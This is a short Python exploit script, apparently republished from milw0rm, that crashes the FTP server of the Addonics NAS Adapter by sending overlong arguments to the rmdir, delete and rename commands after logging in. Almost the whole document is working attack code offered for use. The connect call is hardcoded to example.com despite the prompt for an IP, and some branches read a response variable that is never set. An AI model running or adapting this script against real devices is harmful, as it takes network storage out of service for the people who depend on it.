Addonics NAS Adapter FTP Server多个命令远程缓冲区溢出漏洞

                                                #!/usr/bin/python
######################################################
# Addonics NAS Adapter FTP server DoS
# Tested against NASU2FW41 Loader 1.17
# Coded by Mike Cyr, aka h00die
# mcyr2     at           csc         dot_____________com
# Notes: Since the HTTP server was so vulnerable, is
#        this really a suprise?
# Greetz to muts and loganWHD, I tried harder
# http://www.offensive-security.com/offsec101.php turning script kiddies into ninjas daily
# Log: Vendor notification March 25, 2009
#      Vendor response March 26, 2009
#    Milw0rm release May 1, 2009
######################################################
import socket
import sys
buffer= 'a'
counter=1
ip = raw_input("IP: ")
un = raw_input("Username: ")
password = raw_input("Password: ")
print "Vulnerable commands"
print "1. rmdir"
print "2. delete"
print "3. rename"
command = raw_input("Command to crash (#): ")
if command == "1":
 print "fuzzing " + ip + " with command rmdir"
elif command == "2":
 print "fuzzing " + ip + " with command delete"
elif command == "3":
 print "fuzzing " + ip + " with command rename"
else:
 print "your an idiot"
 sys.exit(1)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('example.com',21))
print s.recv(1024)
s.send('USER ' + un + '\r\n')
print s.recv(1024)
s.send('PASS ' + password + '\r\n')
print s.recv(1024)
if command == "1":
 while len(buffer) <=512:
  buffer = buffer + 'a'
  counter=counter+1
 s.send('XRMD ' + buffer + '\r\n')
 print 'rmdir ' + buffer + '\r\n'
elif command == "2":
 while len(buffer) <=523:
  buffer = buffer + 'a'
  counter=counter+1
 s.send('delete ' + buffer + '\r\n')
elif command == "3":
 while len(buffer) <=526:
  buffer = buffer + 'a'
  counter=counter+1
 s.send('RNFR ' + buffer + '\r\n')
 answer=s.recv(1024)
 s.send('RNTO ' + buffer + '\r\n')
 answer=s.recv(1024)
if (answer == "550 Requested action not taken.\r\n"):
 print "Stack smashed"
else:
 print "fail: " + answer
s.close()